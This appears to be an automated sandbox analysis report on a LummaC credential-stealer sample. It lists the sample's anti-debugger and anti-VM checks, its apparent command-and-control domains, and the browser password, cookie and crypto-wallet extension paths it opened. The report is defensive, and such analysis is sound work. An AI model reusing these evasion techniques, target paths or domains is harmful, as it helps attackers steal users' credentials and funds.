Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DB0 second address: 4CB0DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F505650CF80h 0x0000000d push 76952B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [769B4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DC3 second address: 4CB0DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DC7 second address: 4CB0DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DCB second address: 4CB0DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DD1 second address: 4CB0DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DD7 second address: 4CB0DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DDB second address: 4CB0E1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esi, esi 0x0000000d jmp 00007F4FE48681D1h 0x00000012 mov dword ptr [ebp-1Ch], esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4FE48681CDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0E1C second address: 4CB0E2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE44F82BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0E89 second address: 4CB0EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0EA1 second address: 4CB0EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0A16 second address: 4CC0A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0A1C second address: 4CC0A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0A20 second address: 4CC0B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4FE48681D9h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F4FE48681CEh 0x00000017 mov ebp, esp 0x00000019 jmp 00007F4FE48681D0h 0x0000001e xchg eax, esi 0x0000001f jmp 00007F4FE48681D0h 0x00000024 push eax 0x00000025 jmp 00007F4FE48681CBh 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c mov bx, ax 0x0000002f pushfd 0x00000030 jmp 00007F4FE48681D0h 0x00000035 adc ecx, 67C9D288h 0x0000003b jmp 00007F4FE48681CBh 0x00000040 popfd 0x00000041 popad 0x00000042 mov esi, dword ptr [ebp+0Ch] 0x00000045 jmp 00007F4FE48681D6h 0x0000004a test esi, esi 0x0000004c jmp 00007F4FE48681D0h 0x00000051 je 00007F50564F5A98h 0x00000057 pushad 0x00000058 mov cl, 64h 0x0000005a push ebx 0x0000005b mov esi, 7C4A7C65h 0x00000060 pop ecx 0x00000061 popad 0x00000062 cmp dword ptr [769B459Ch], 05h 0x00000069 jmp 00007F4FE48681D1h 0x0000006e je 00007F505650DB4Fh 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007F4FE48681CDh 0x0000007b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57083F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 570752 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 71109B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 718B06 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 79CE3C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FFDD6E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FFDC7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 619980F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6197F1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61A1963 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6237FEB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 600124E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05FFDD27 rdtsc

0_2_05FFDD27

Source: C:\Users\user\Desktop\file.exe TID: 5412

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2488616090.00000000006EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2490792984.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2212700023.0000000005645000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000002.2490792984.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2499147269.00000000056F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2490792984.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2488616090.00000000006EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2212700023.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05FFDD27 rdtsc

0_2_05FFDD27

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2488616090.00000000006EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: YfProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2499887564.0000000006179000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: 1Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2271051316.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259499104.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2308657569.00000000055F2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395932211.00000000055F4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2308757732.0000000000D0A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259790013.00000000055F2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260138160.0000000000D0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1112, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2213161081.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.2213161081.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.2246260395.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2213161081.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2213161081.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3`
Source: file.exe, 00000000.00000003.2246260395.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2259499104.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
